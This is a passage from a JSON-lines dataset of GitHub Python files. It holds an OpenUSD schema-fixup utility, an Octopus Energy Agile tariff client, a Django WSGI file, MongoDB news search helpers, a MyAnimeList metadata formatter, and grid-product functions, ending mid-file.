missingApiSchema.append(coordSysAPIName)\n                    \n\n            if len(relationshipToUpdate) == 0 and len(missingApiSchema) == 0:\n                return\n\n            # Will definitely be doing some updating!\n            self._layerUpdated = True\n\n            # though it shouldn't matter for our fixup usage, but better to\n            # follow best practice and make ALL changes in a change block.\n            with Sdf.ChangeBlock():\n                for rel in relationshipToUpdate:\n                    instanceName = rel.name.split(\"coordSys:\")[-1]\n                    # Apply API\n                    coordSysAPIName = \"CoordSysAPI:%s\" %instanceName\n                    apiSchemas = self._ApplyAPI(apiSchemas, coordSysAPIName)\n                    # New Rel\n                    newRelPath = rel.path.ReplaceName(rel.name+\":binding\")\n                    # CopySpec\n                    Sdf.CopySpec(self._usdLayer, rel.path, \n                            self._usdLayer, newRelPath)\n                    # Remove old rel\n                    primSpec.RemoveProperty(rel)\n                # Apply any missing UsdShadeCoordSysAPI api schema\n                for missingAPI in missingApiSchema:\n                    apiSchemas = self._ApplyAPI(apiSchemas, missingAPI)\n\n                primSpec.SetInfo(\"apiSchemas\", apiSchemas)\n\n        self._usdLayer.Traverse(\"/\", _PrimSpecProvidesCoordSysAPI)\n\n\n    def FixupMaterialBindingAPI(self):\n        \"\"\"\n        Makes sure MaterialBindingAPI is applied on the prim, which defines a\n        material:binding property spec. Marks the layer updated if fixes are\n        applied.\n        \"\"\"\n        def _PrimSpecProvidesMaterialBinding(path):\n            if not path.IsPrimPath():\n                return\n            primSpec = self._usdLayer.GetPrimAtPath(path)\n            hasMaterialBindingRel = \\\n                    any(prop.name.startswith(\"material:binding\") \\\n                        for prop in primSpec.properties)\n            apiSchemas = primSpec.GetInfo(\"apiSchemas\")\n            hasMaterialBindingAPI = \"MaterialBindingAPI\" in \\\n                    apiSchemas.GetAddedOrExplicitItems()\n            if hasMaterialBindingRel and not hasMaterialBindingAPI:\n                self._layerUpdated = True\n                newApiSchemas = self._ApplyAPI(apiSchemas, \"MaterialBindingAPI\")\n                primSpec.SetInfo(\"apiSchemas\", newApiSchemas)\n\n        self._usdLayer.Traverse(\"/\", _PrimSpecProvidesMaterialBinding)\n        \n\n    def FixupSkelBindingAPI(self):\n        \"\"\"\n        Makes sure SkelBindingAPI is applied on the prim, which defines\n        appropriate UsdSkel properties which are imparted by SkelBindingAPI.\n        Marks the layer as updated if fixes are applied.\n        \"\"\"\n\n        def _PrimSpecProvidesSkelBindingProperties(path):\n            if not path.IsPrimPath():\n                return\n\n            # get skelBindingAPI props if not already populated\n            if not self._skelBindingAPIProps:\n                from pxr import Usd, UsdSkel\n                usdSchemaRegistry = Usd.SchemaRegistry()\n                primDef = usdSchemaRegistry.BuildComposedPrimDefinition(\"\",\n                        [\"SkelBindingAPI\"])\n                self._skelBindingAPIProps = primDef.GetPropertyNames()\n        \n            primSpec = self._usdLayer.GetPrimAtPath(path)\n            primSpecProps = [prop.name for prop in primSpec.properties]\n            apiSchemas = primSpec.GetInfo(\"apiSchemas\")\n            hasSkelBindingAPI = \"SkelBindingAPI\" in \\\n                    apiSchemas.GetAddedOrExplicitItems()\n            for skelProperty in self._skelBindingAPIProps:\n                if (skelProperty in primSpecProps) and not hasSkelBindingAPI:\n                    self._layerUpdated = True\n                    newApiSchemas = self._ApplyAPI(apiSchemas, \"SkelBindingAPI\")\n                    primSpec.SetInfo(\"apiSchemas\", newApiSchemas)\n                    return\n\n        self._usdLayer.Traverse(\"/\", _PrimSpecProvidesSkelBindingProperties)\n\n\n    def FixupUpAxis(self):\n        \"\"\"\n        Makes sure the layer specifies a upAxis metadata, and if not upAxis\n        metadata is set to the default provided by UsdGeom. Marks the layer as \n        updated if fixes are applied.\n        \"\"\"\n        from pxr import Usd, UsdGeom\n        usdStage = Usd.Stage.Open(self._usdLayer)\n        if not usdStage.HasAuthoredMetadata(UsdGeom.Tokens.upAxis):\n            self._layerUpdated = True\n            usdStage.SetMetadata(UsdGeom.Tokens.upAxis, \n                UsdGeom.GetFallbackUpAxis())\n","repo_name":"PixarAnimationStudios/OpenUSD","sub_path":"pxr/usd/usdUtils/fixBrokenPixarSchemas.py","file_name":"fixBrokenPixarSchemas.py","file_ext":"py","file_size_in_byte":7587,"program_lang":"python","lang":"en","doc_type":"code","stars":5042,"dataset":"github-code","pt":"3"}
+{"seq_id":"17208508994","text":"import requests\nfrom datetime import datetime, timedelta, date\nimport collections\n\nimport logging\n\n_LOGGER = logging.getLogger(\"OctopusAgile\")\n\n\nclass Agile:\n    area_code = None\n    base_url = None\n\n    def round_time(self, t) -> datetime:\n        \"\"\"Rounds to start of current half hour time period\n        Args:\n            t (datetime): a datetime object\n        Returns:\n            datetime: the datetime representing the start of the half hour\n                time period\n        \"\"\"\n        minute = 00\n        if t.minute // 30 == 1:\n            minute = 30\n        return t.replace(second=0, microsecond=0, minute=minute, hour=t.hour)\n\n    def __init__(self, area_code):\n        self.area_code = area_code\n        self.base_url = (\n            \"https://api.octopus.energy/v1/products/AGILE-18-02-21/electricity-tariffs\"\n        )\n\n    def get_times_below(self, in_d: dict, limit: float):\n        \"\"\"Get a date_rate dict of any times below \"limit\"\n        Args:\n            in_d (dict): a date_rate dict.\n            limit (float): a\n        Returns:\n            dict: A date_rate dict of any times below \"limit\"\n        \"\"\"\n        ret_d = {}\n        for time, rate in in_d.items():\n            if rate <= limit:\n                ret_d[time] = rate\n        return ret_d\n\n    def get_area_code(self):\n        \"\"\"\n        Returns:\n           str: The Distribution Network Operator area code that is being used\n        \"\"\"\n\n        return self.area_code\n\n    def get_min_times(self, num, in_d, requirements):\n        \"\"\"Get a date rate dict of \"num\" number of time periods in in_d.\n\n        Args:\n            in_d (dict): a date_rate dict\n            requirements (list): a list of dicts with details of particular times that\n                must be includes in the returned date_rate dict.\n                Example, must have 2 slots between 1900 and 0600:\n                {'slots': 2, 'time_from': '2020-04-15T19:00:00Z', 'time_to': '2020-04-16T06:00:00Z'}\n        Returns:\n            dict: A date_rate dict\n        \"\"\"\n        ret_d = {}\n        d = {}\n        d.update(in_d)\n        for i in range(num):\n            min_key = min(d, key=d.get)\n            ret_d[min_key] = d[min_key]\n            del d[min_key]\n        for requirement in requirements:\n            slots_filled = []\n            after_time = datetime.strptime(\n                requirement[\"time_from\"], \"%Y-%m-%dT%H:%M:%SZ\"\n            )\n            before_time = datetime.strptime(\n                requirement[\"time_to\"], \"%Y-%m-%dT%H:%M:%SZ\"\n            )\n            min_slots = requirement[\"slots\"]\n\n            for time, rate in ret_d.items():\n                dttime = datetime.strptime(time, \"%Y-%m-%dT%H:%M:%SZ\")\n                if after_time < dttime < before_time:\n                    slots_filled.append(time)\n            if len(slots_filled) < min_slots:\n                for slot in slots_filled:\n                    del ret_d[slot]\n                new_rates = self.get_rates(\n                    requirement[\"time_from\"], requirement[\"time_to\"]\n                )\n                new_mins = self.get_min_times(min_slots, new_rates[\"date_rates\"], [])\n                remove_list = self.get_max_times(min_slots - len(slots_filled), ret_d)\n                for time, rate in remove_list.items():\n                    del ret_d[time]\n                for time, rate in new_mins.items():\n                    ret_d[time] = rate\n        return ret_d\n\n    def get_max_times(self, num: int, in_d: dict) -> dict:\n        \"\"\"Get a date_rate dict of \"num\" number of max periods\n        Args:\n            num (int): the number of periods to return\n            in_d (dict): a date_rate dict\n        Returns:\n            dict: A date_rate dict\n        \"\"\"\n        ret_d = {}\n        d = {}\n        d.update(in_d)\n        for i in range(num):\n            min_key = max(d, key=d.get)\n            ret_d[min_key] = d[min_key]\n            del d[min_key]\n        return ret_d\n\n    def get_min_time_run(self, hours: int, in_d: dict):\n        \"\"\"Get a date_rate dict of the cheapest time period of \"hours\" hours.\n        Args:\n            in_d (dict): a date_rate dict\n            hours (int): the number of hours you want the period for\n        Returns:\n\n        \"\"\"\n        slots = int(hours * 2)\n        d = {}\n        d.update(\n            collections.OrderedDict(reversed(list(in_d.items())))\n        )  # Dict was in wrong order\n        keys = list(d.keys())\n        avgs = {}\n        for index, obj in enumerate(keys):\n            this_avg = []\n            for offset in range(0, slots):\n                if index + offset < len(keys):\n                    this_avg.append(d[keys[index + offset]])\n                else:\n                    min_key = min(avgs, key=avgs.get)\n                    return {min_key: avgs[min_key]}\n            avgs[keys[index]] = sum(this_avg) / slots\n\n    def get_rates_delta(self, day_delta):\n        \"\"\"\n        Args:\n            day_delta (int):\n        Returns\n            dict: the same dict as get_rate for the past \"day_delta\" days\n        \"\"\"\n        minute = 00\n        if datetime.now().minute > 30:\n            minute = 30\n        prev_day = date.today() - timedelta(days=day_delta)\n        this_day = date.today() - timedelta(days=day_delta - 1)\n\n        date_from = f\"{ prev_day.strftime('%Y-%m-%d') }T00:00\"\n        date_to = f\"{ this_day.strftime('%Y-%m-%d') }T00:00\"\n        # print(date_from)\n        return self.get_rates(date_from, date_to)\n\n    def get_raw_rates(self, date_from: str, date_to: str = None) -> dict:\n        \"\"\"Agile rate data from the Octopus API\n        Args:\n            date_from (str): date from in format \"%Y-%m-%dT%H:%M:%SZ\"\n            date_to (str): date to in format \"%Y-%m-%dT%H:%M:%SZ\"\n        Returns\n            dict: the raw agile rate data\n        \"\"\"\n\n        date_from = f\"?period_from={ date_from }\"\n        if date_to is not None:\n            date_to = f\"&period_to={ date_to }\"\n        else:\n            date_to = \"\"\n        headers = {\"content-type\": \"application/json\"}\n        r = requests.get(\n            f\"{self.base_url}/\"\n            f\"E-1R-AGILE-18-02-21-{self.area_code}/\"\n            f\"standard-unit-rates/{ date_from }{ date_to }\",\n            headers=headers,\n        )\n        results = r.json()[\"results\"]\n        _LOGGER.debug(r.url)\n        return results\n\n    def get_new_rates(self) -> dict:\n        \"\"\"\n        Returns:\n            dict: All available future rates\n        \"\"\"\n        date_from = datetime.strftime(datetime.utcnow(), \"%Y-%m-%dT%H:%M:%SZ\")\n        return self.get_rates(date_from)\n\n    def get_rates(self, date_from: str, date_to: str = None) -> dict:\n        \"\"\"\n        Args:\n            date_from (str): date from in format \"%Y-%m-%dT%H:%M:%SZ\"\n            date_to (str): date to in format \"%Y-%m-%dT%H:%M:%SZ\"\n        Returns:\n            dict:\n                - date_rate (dict): Dict of date/time as key and rate as vaue\n                - rate_list (list): All Rates as a list\n                - low_rate_list (list): All Rates below 15p\n        \"\"\"\n        results = self.get_raw_rates(date_from, date_to)\n\n        date_rates = collections.OrderedDict()\n\n        rate_list = []\n        low_rate_list = []\n\n        for result in results:\n            price = result[\"value_inc_vat\"]\n            valid_from = result[\"valid_from\"]\n            valid_to = result[\"valid_to\"]\n            date_rates[valid_from] = price\n            rate_list.append(price)\n            if price < 15:\n                low_rate_list.append(price)\n\n        return {\n            \"date_rates\": date_rates,\n            \"rate_list\": rate_list,\n            \"low_rate_list\": low_rate_list,\n        }\n\n    def summary(self, days, daily_sum=False):\n        \"\"\"Print a summary of the rates for the past \"days\" days\"\"\"\n\n        all_rates = {}\n        all_rates_list = []\n        all_low_rates_list = []\n        water_rates = []\n        day_count = 0\n        for i in range(0, days):\n            rates = self.get_rates_delta(i)\n            rate_list = rates[\"rate_list\"]\n            low_rate_list = rates[\"low_rate_list\"]\n            date_rates = rates[\"date_rates\"]\n            all_rates.update(date_rates)\n            all_rates_list.extend(rate_list)\n            all_low_rates_list.extend(low_rate_list)\n\n            mean_price = sum(rate_list) / len(rate_list)\n            low_mean_price = sum(low_rate_list) / len(low_rate_list)\n\n            cheapest6 = self.get_min_times(6, date_rates, [])\n            day = datetime.strptime(\n                next(iter(date_rates)), \"%Y-%m-%dT%H:%M:%SZ\"\n            ).strftime(\"%Y-%m-%d\")\n\n            minTimeHrs = self.get_min_time_run(\n                4,\n            )\n            minTimeHrsTime = list(minTimeHrs.keys())[0]\n            minTimeHrsRate = minTimeHrs[list(minTimeHrs.keys())[0]]\n            water_rates.append(minTimeHrsRate)\n\n            if daily_sum:\n                print(f\"({day})                {cheapest6}\")\n                print(f\"({day}) Avg Price:     {mean_price}\")\n                print(f\"({day}) Low Avg Price: {low_mean_price}\")\n                print(f\"({day}) Min Price:     {min(rate_list)}\")\n                print(f\"({day}) Max Price:     {max(rate_list)}\")\n                print(f\"({day}) Min 4 Hr Run:  {minTimeHrsTime}: {minTimeHrsRate}\")\n            else:\n                print(\".\", end=\"\")\n                if day_count % 50 == 0:\n                    print()\n                day_count += 1\n        print()\n\n        overall_min = min(all_rates, key=all_rates.get)\n        overall_max = max(all_rates, key=all_rates.get)\n\n        mean_price = sum(all_rates_list) / len(all_rates_list)\n        low_mean_price = sum(all_low_rates_list) / len(all_low_rates_list)\n        avg_water_price = sum(water_rates) / len(water_rates)\n        avg_water_usage = 7.738\n        print()\n        print(\"Overall stats:\")\n        print(f\"Avg Price:       {mean_price}\")\n        print(f\"Low Avg Price:   {low_mean_price}\")\n        print(\n            f\"Avg Water Price: {avg_water_price} (£{round(avg_water_usage*(avg_water_price/100), 2)}/day), \"\n            f\"(£{round(avg_water_usage*(avg_water_price/100)*365, 2)}/year)\"\n        )\n        print(\n            f\"Cur Water Price: {avg_water_price} (£{round(avg_water_usage*(15.44/100), 2)}/day), \"\n            f\"(£{round(avg_water_usage*(15.44/100)*365, 2)}/year)\"\n        )\n        print(f\"Min Price:       {overall_min}: {all_rates[overall_min]}\")\n        print(f\"Max Price:       {overall_max}: {all_rates[overall_max]}\")\n        print(f\"Num Days:        {days}\")\n\n    def get_previous_rate(self) -> float:\n        \"\"\"\n        Returns:\n            float: the previous period rate\n        \"\"\"\n        now = self.round_time(datetime.utcnow())\n        rounded_time = datetime.strftime(self.round_time(now), \"%Y-%m-%dT%H:%M:%SZ\")\n        prev_time = datetime.strftime(now - timedelta(minutes=30), \"%Y-%m-%dT%H:%M:%SZ\")\n        date_rates = self.get_rates(prev_time, rounded_time)[\"date_rates\"]\n        return date_rates[next(iter(date_rates))]\n\n    def get_current_rate(self) -> float:\n        \"\"\"\n        Returns:\n            float: the current period rate\n        \"\"\"\n        now = self.round_time(datetime.utcnow())\n        rounded_time = datetime.strftime(self.round_time(now), \"%Y-%m-%dT%H:%M:%SZ\")\n        next_time = datetime.strftime(now + timedelta(minutes=30), \"%Y-%m-%dT%H:%M:%SZ\")\n        date_rates = self.get_rates(rounded_time, next_time)[\"date_rates\"]\n        return date_rates[next(iter(date_rates))]\n\n    def get_next_rate(self) -> float:\n        \"\"\"\n        Returns:\n            float: the next period rate\n        \"\"\"\n        now = self.round_time(datetime.utcnow())\n        rounded_time = datetime.strftime(\n            self.round_time(now) + timedelta(minutes=30), \"%Y-%m-%dT%H:%M:%SZ\"\n        )\n        next_time = datetime.strftime(now + timedelta(minutes=60), \"%Y-%m-%dT%H:%M:%SZ\")\n        date_rates = self.get_rates(rounded_time, next_time)[\"date_rates\"]\n        return date_rates[next(iter(date_rates))]\n\n\nif __name__ == \"__main__\":\n    myagile = Agile(\"L\")\n    rates = myagile.get_rates_delta(1)[\"date_rates\"]\n    low_rates = myagile.get_times_below(rates, 0)\n    print(low_rates)\n    print(myagile.get_min_time_run(3, rates))\n    print(\"prev: \", myagile.get_previous_rate())\n    print(\"now: \", myagile.get_current_rate())\n    print(\"next: \", myagile.get_next_rate())\n    print(\"New: \", myagile.get_new_rates())\n","repo_name":"markgdev/OctopusAgile","sub_path":"OctopusAgile/Agile.py","file_name":"Agile.py","file_ext":"py","file_size_in_byte":12399,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"}
+{"seq_id":"19364449767","text":"\"\"\" wsgi biz \"\"\"\n\nimport os\nimport sys\nsys.path.append('/var/www/shortener')\nsys.path.append('/var/www/shortener/shortener')\nos.environ['DJANGO_SETTINGS_MODULE'] = 'shortener.settings'\nos.environ['TZ'] = 'America/Los_Angeles'\nfrom django.core.wsgi import get_wsgi_application\nDJANGO_APP = get_wsgi_application()\n\n\ndef application(environ, start_response):\n    \"\"\" it's an app! \"\"\"\n    if 'SCRIPT_NAME' in environ:\n        del environ['SCRIPT_NAME']\n    return DJANGO_APP(environ, start_response)\n","repo_name":"nthall/shortener","sub_path":"shortener/wsgi.py","file_name":"wsgi.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29321167348","text":"from tech_news.database import db\nfrom datetime import datetime\nimport re\n\n\ndef search_by_title(title):\n    rgx = re.compile(f'{title}', re.IGNORECASE)\n    query = list(db.news.find({'title': {'$regex': rgx}},\n                              {'title': True, 'url': True, '_id': False}))\n    result = [(news['title'], news['url']) for news in query]\n    return result\n\n\ndef search_by_date(date):\n    try:\n        date_obj = datetime.strptime(date, '%Y-%m-%d')\n        date_in_db_format = date_obj.strftime('%d/%m/%Y')\n        query = list(db.news.find({'timestamp': date_in_db_format},\n                                  {'title': True, 'url': True, '_id': False}))\n        result = [(news['title'], news['url']) for news in query]\n    except ValueError:\n        raise ValueError('Data inválida')\n    return result\n\n\ndef search_by_category(category):\n    rgx = re.compile(f'{category}', re.IGNORECASE)\n    query = list(db.news.find({'category': {'$regex': rgx}},\n                              {'title': True, 'url': True, '_id': False}))\n    result = [(news['title'], news['url']) for news in query]\n    return result\n","repo_name":"bermartorano/tech-news","sub_path":"tech_news/analyzer/search_engine.py","file_name":"search_engine.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9355613444","text":"from typing import List\nimport pycountry\nimport datetime\nimport Core.Structures.List as AnimeListsStruct\nimport Core.Structures.Anime as AnimeStruct\nimport Core.Structures.Generic as GenericStruct\n\nDefaultCountry = pycountry.countries.get(name='Japan').name\nDefaultLanguage = pycountry.languages.get(name='Japanese').name\nDefaultScript = pycountry.scripts.get(name='Latin').name\nDefaultTag = 'jpn-Latn'\nDefaultLocalization = GenericStruct.Localization(Tag=DefaultTag)\n\ndef AnimeList(List: list):\n    AnimeLists = AnimeListsStruct.AnimeLists()\n    size_list = len(List)\n    completedList = 0\n    for anime in List:\n        node: dict = anime.get(\"node\")\n        id = node.get(\"id\")\n        print(f\"Formatting MAL id: {id}\")\n        title = node.get(\"title\")\n        main_picture = node.get(\"main_picture\")\n        medium_picture = main_picture.get(\"medium\")\n        large_picture = main_picture.get(\"large\")\n\n        list_status: dict = anime.get(\"list_status\")\n        status = list_status.get(\"status\")\n        score = list_status.get(\"score\")\n        num_episodes_watched = list_status.get(\"num_episodes_watched\")\n        is_rewatching = list_status.get(\"is_rewatching\")\n        updated_at = list_status.get(\"updated_at\")\n\n        PureAnime = AnimeStruct.Anime()\n        MetaID = GenericStruct.MetaID(PluginName=\"MAL\", id=str(id))\n        PureAnime.id.list.append(MetaID)\n\n        Name = GenericStruct.Text(Text=title, Localization=DefaultLocalization)\n        PureAnime.names.list.append(Name)\n\n        Medium_Image = GenericStruct.Image(url=medium_picture)\n        Large_Image = GenericStruct.Image(url=large_picture)\n        # Todo: save the images as well, need to develop new cache\n        PureAnime.images.list.append(Medium_Image)\n        PureAnime.images.list.append(Large_Image)\n\n        State_Mapper = {\n            'watching': AnimeStruct.LibraryState.Watching,\n            'completed': AnimeStruct.LibraryState.Completed,\n            'on_hold': AnimeStruct.LibraryState.Hold,\n            'dropped': AnimeStruct.LibraryState.Dropped,\n            'plan_to_watch': AnimeStruct.LibraryState.PlanToWatch\n        }\n        updated_at_datetime = datetime.datetime.fromisoformat(updated_at)\n        PureAnime.libraryStatus = AnimeStruct.LibraryStatus(state=State_Mapper[status],\n                                                            episodesWatched=num_episodes_watched,\n                                                            lastUpdated=updated_at_datetime)\n\n        PureAnime.personalRating.rated = score\n\n        AnimeLists.append(anime=PureAnime)\n        completedList += 1\n        print(f\"Formatted {completedList} of {size_list}\")\n\n    return AnimeLists\n\ndef AnimeMetadata(metadata, oldAnime: AnimeStruct.Anime) -> AnimeStruct.Anime:\n    Anime = AnimeStruct.Anime()\n    Anime.hash = oldAnime.hash\n\n    id: str = str(metadata.get(\"id\"))\n    title: str = metadata.get(\"title\")\n    main_picture: dict = metadata.get(\"main_picture\")\n    medium_picture: str = main_picture.get(\"medium\")\n    large_picture: str = main_picture.get(\"large\")\n    alternative_titles: dict = metadata.get(\"alternative_titles\")\n    synonyms: List[str] = alternative_titles.pop(\"synonyms\")\n    start_date: str = metadata.get(\"start_date\")\n    end_date: str = metadata.get(\"end_date\")\n    synopsis: str = metadata.get(\"synopsis\")\n    mean: float = float(metadata.get(\"mean\", 0))\n    rank: int = int(metadata.get(\"rank\", 0))\n    popularity: int = int(metadata.get(\"popularity\"))\n    num_list_users: str = metadata.get(\"num_list_users\")\n    num_scoring_users: str = metadata.get(\"num_scoring_users\")\n    nsfw: str = metadata.get(\"nsfw\")\n    created_at: str = metadata.get(\"created_at\")\n    updated_at: str = metadata.get(\"updated_at\")\n    media_type: str = metadata.get(\"media_type\")\n    status: str = metadata.get(\"status\")\n    genres: List[dict] = metadata.get(\"genres\")\n    my_list_status: dict = metadata.get(\"my_list_status\")\n    list_status: str = my_list_status.get(\"status\")\n    score: float = float(my_list_status.get(\"score\"))\n    num_episodes_watched: int = int(my_list_status.get(\"num_episodes_watched\"))\n    is_rewatching: bool = bool(my_list_status.get(\"is_rewatching\"))\n    updated_at: str = my_list_status.get(\"updated_at\")\n    num_episodes: int = int(metadata.get(\"num_episodes\"))\n    start_season: dict = metadata.get(\"start_season\")\n    if start_season:\n        year: int = int(start_season.get(\"year\"))\n        season: str = start_season.get(\"season\")\n    broadcast: dict = metadata.get(\"broadcast\")\n    if broadcast:\n        day_of_the_week: str = broadcast.get(\"day_of_the_week\")\n        start_time: str = broadcast.get(\"start_time\")\n    source: str = metadata.get(\"source\")\n    average_episode_duration: str = str(metadata.get(\"average_episode_duration\"))\n    rating: str = str(metadata.get(\"rating\"))\n    pictures: List[dict] = metadata.get(\"pictures\")\n    background: str = metadata.get(\"background\")\n    related_anime: List = metadata.get(\"related_anime\")  # Todo: get more info on this\n    related_manga: List = metadata.get(\"related_manga\")\n    recommendations: List[dict] = metadata.get(\"recommendations\")  # Note To Self: I'm ignoring this for now\n    studios: List[dict] = metadata.get(\"studios\")\n    statistics: dict = metadata.get(\"statistics\")\n    statistics_status: dict = statistics.get(\"status\")\n    watching: str = statistics_status.get(\"watching\")\n    completed: str = statistics_status.get(\"completed\")\n    on_hold: str = statistics_status.get(\"on_hold\")\n    dropped: str = statistics_status.get(\"dropped\")\n    plan_to_watch: str = statistics_status.get(\"plan_to_watch\")\n    num_list_users: str = str(statistics_status.get(\"num_list_users\"))\n\n\n    if nsfw != \"white\" and nsfw !=\"gray\" :\n        raise Exception(\"First time seeing Non White, pls help\")\n    ageRatingDict = {\"pg_13\": 13}\n    Anime.ageRating = AnimeStruct.AgeRating(Age=ageRatingDict[\"pg_13\"], Tag=rating)\n\n    status_dict: AnimeStruct.ReleaseStatus = {\"currently_airing\": AnimeStruct.ReleaseStatus.ONGOING,\n                                              \"not_yet_aired\": AnimeStruct.ReleaseStatus.SCHEDULED,\n                                              \"finished_airing\": AnimeStruct.ReleaseStatus.COMPLETED}\n    Anime.status = status_dict[status]\n\n    Anime.publicRating = AnimeStruct.Rating(rated=mean, rank=rank, popularity=popularity)\n    Anime.publicRating.hash = oldAnime.publicRating.hash\n\n\n    libraryState_dict: AnimeStruct.LibraryState = {\"watching\": AnimeStruct.LibraryState.Watching,\n                                                   \"on_hold\": AnimeStruct.LibraryState.Hold,\n                                                   \"dropped\": AnimeStruct.LibraryState.Dropped,\n                                                   \"plan_to_watch\": AnimeStruct.LibraryState.PlanToWatch,\n                                                   \"completed\": AnimeStruct.LibraryState.Completed}\n    Anime.libraryStatus = AnimeStruct.LibraryStatus(state=libraryState_dict[list_status],\n                                                    episodesWatched=num_episodes_watched,\n                                                    lastUpdated=datetime.datetime.fromisoformat(updated_at))\n    Anime.libraryStatus.hash = oldAnime.libraryStatus.hash\n\n\n    Anime.personalRating = AnimeStruct.Rating(rated=score)\n    Anime.personalRating.hash = oldAnime.personalRating.hash\n\n    # Todo: add new id if the metadata provider differs from the initial id provider\n    Anime.id = oldAnime.id\n\n    # Todo: maybe add a script_Dic to map languages to script (Latin, japanese only)\n    names = AnimeStruct.Names()\n    Name = GenericStruct.Text(Text=title, Localization=DefaultLocalization)\n    names.list.append(Name)\n    for language in alternative_titles:\n        title = alternative_titles[language]\n        Country = \"Unknown\"\n        Language = pycountry.languages.get(alpha_2=language).name\n        Script = \"Unknown\"\n        Localization = GenericStruct.Localization(Language=Language,\n                                                  Script=Script)\n        Name = GenericStruct.Text(Text=title, Localization=DefaultLocalization)\n        names.list.append(Name)\n    for title in synonyms:\n        Language = \"Unknown\"\n        Script = \"Unknown\"\n        Localization = GenericStruct.Localization(Language=Language,\n                                                  Script=Script)\n        Name = GenericStruct.Text(Text=title, Localization=DefaultLocalization)\n        names.list.append(Name)\n    Anime.names = names\n    Anime.names.hash = oldAnime.names.hash\n\n    images = AnimeStruct.Images()\n    if medium_picture:\n        Medium_Image = GenericStruct.Image(url=medium_picture)\n        images.list.append(Medium_Image)\n    if large_picture:\n        Large_Image = GenericStruct.Image(url=large_picture)\n        images.list.append(Large_Image)\n    for image_info in pictures:\n        Medium_Image = GenericStruct.Image(url=image_info.get(\"medium\"))\n        if Medium_Image:\n            images.list.append(Medium_Image)\n        Large_Image = GenericStruct.Image(url=image_info.get(\"large\"))\n        if Large_Image:\n            images.list.append(Large_Image)\n    Anime.images = images\n    Anime.images.hash = oldAnime.images.hash\n\n    tags = AnimeStruct.Tags()\n    # Todo: See if exists in database a tag with same name but different aliases\n    tags.list = [AnimeStruct.Tag(name=genre.get(\"name\")) for genre in genres]\n    Anime.tags = tags\n    Anime.tags.hash = oldAnime.tags.hash\n\n    Anime.description = AnimeStruct.Description(synopsis)\n    Anime.description.hash = oldAnime.description.hash\n\n    typeDict = {\"tv\": AnimeStruct.AnimeType.TV,\n                \"ona\": AnimeStruct.AnimeType.ONA,\n                \"ova\": AnimeStruct.AnimeType.OVA,\n                \"special\": AnimeStruct.AnimeType.SPECIAL,\n                \"unknown\": AnimeStruct.AnimeType.UNKNOWN,\n                \"movie\": AnimeStruct.AnimeType.MOVIE}\n    Anime.type = typeDict[media_type]\n\n    # episodes = AnimeStruct.Episodes()\n    # for episode_number in range(num_episodes):\n    #     text = AnimeStruct.Text(\"Unknown\", DefaultLocalization)\n    #     names = AnimeStruct.Names()\n    #     names.list.append(text)\n    #     episode = AnimeStruct.Episode(names=names)\n    #     episode.type = AnimeStruct.EpisodeType.UNKNOWN\n    #     episodes.list.append(episode)\n    # Anime.episodes = episodes\n    # Anime.episodes.hash = oldAnime.episodes.hash\n\n    runnings = AnimeStruct.Runnings()\n    since = to = None\n    strpTypeDict = {1: \"%Y\", 2: \"%Y-%m\", 3: \"%Y-%m-%d\"}\n    if start_date:\n        strptype = len(start_date.split(\"-\"))\n        since = datetime.datetime.strptime(start_date, strpTypeDict[strptype])\n    if end_date:\n        strptype = len(end_date.split(\"-\"))\n        to = datetime.datetime.strptime(end_date, strpTypeDict[strptype])\n    runnings.list.append(AnimeStruct.Running(since=since, to=to))\n    Anime.runnings = runnings\n    Anime.runnings.hash = oldAnime.runnings.hash\n\n    seasonDict = {\"winter\": AnimeStruct.Seasons.Winter,\n                  \"spring\": AnimeStruct.Seasons.Spring,\n                  \"summer\": AnimeStruct.Seasons.Summer,\n                  \"fall\": AnimeStruct.Seasons.Fall}\n\n    if start_season:\n        Anime.season = AnimeStruct.Season(Year=AnimeStruct.Year(year), SeasonName=seasonDict[season])\n\n    studioss = AnimeStruct.Studios()\n    for studio in studios:\n        name = studio.get(\"name\")\n        names = AnimeStruct.Names()\n        names.list.append(AnimeStruct.Text(Text=name, Localization=DefaultLocalization))\n        studioss.list.append(AnimeStruct.Studio(names))\n    Anime.studios = studioss\n    Anime.studios.hash = oldAnime.studios.hash\n\n    return Anime\n","repo_name":"skyborgff/KaDoKo","sub_path":"Plugins/MAL/Utils/MALFormatter.py","file_name":"MALFormatter.py","file_ext":"py","file_size_in_byte":11654,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"40081807572","text":"\"\"\"\nOperations on grids of numbers\n\"\"\"\n\nfrom typing import List\nfrom more_itertools import windowed\nfrom functools import reduce\n\ndef fileToGrid(file:str) -> List[List[int]]:\n    grid = list()\n    with open(file, \"r\") as readFile:\n        for row in readFile:\n            digits = [int(d) for d in row.split()]\n            # print(digits)\n            grid.append(digits)\n    return grid\n\ndef transposeGrid(grid:List[List[int]]) -> List[List[int]]:\n    return [[grid[j][i] for j in range(len(grid))] for i in range(len(grid[0]))]\n\ndef largestHorizontalProduct(row:List[int], size:int) -> int:\n    maxProd = None\n    for w in windowed(row, size):\n        if not maxProd:\n            maxProd = reduce(lambda x, y: x * y, w)\n        else:\n            maxProd = max(maxProd, reduce(lambda x, y: x * y, w))\n    return maxProd\n\ndef largestDiagonalProduct(grid:List[List[int]], size:int) -> int:\n    maxProd = None\n\n    # Positive diagonal\n    for i in range(len(grid) - size):\n        for j in range(len(grid[0]) - size):\n            w = list()\n            for k in range(size):\n                w.append(grid[i+k][j+k])\n            if not maxProd:\n                maxProd = reduce(lambda x, y: x * y, w)\n            else:\n                maxProd = max(maxProd, reduce(lambda x, y: x * y, w))\n    \n    # Negative diagonal\n    for i in range(len(grid) - size):\n        for j in range(size-1, len(grid[0])):\n            w = list()\n            for k in range(size):\n                w.append(grid[i+k][j-k])\n            maxProd = max(maxProd, reduce(lambda x, y: x * y, w))\n    \n    return maxProd            \n\ndef largestAdjacentProduct(grid:List[List[int]], size:int) -> int:\n    maxProd = None\n    for r in grid:\n        if not maxProd:\n            maxProd = largestHorizontalProduct(r, size)\n        else:\n            maxProd = max(maxProd, largestHorizontalProduct(r, size))\n\n    for r in transposeGrid(grid):\n        maxProd = max(maxProd, 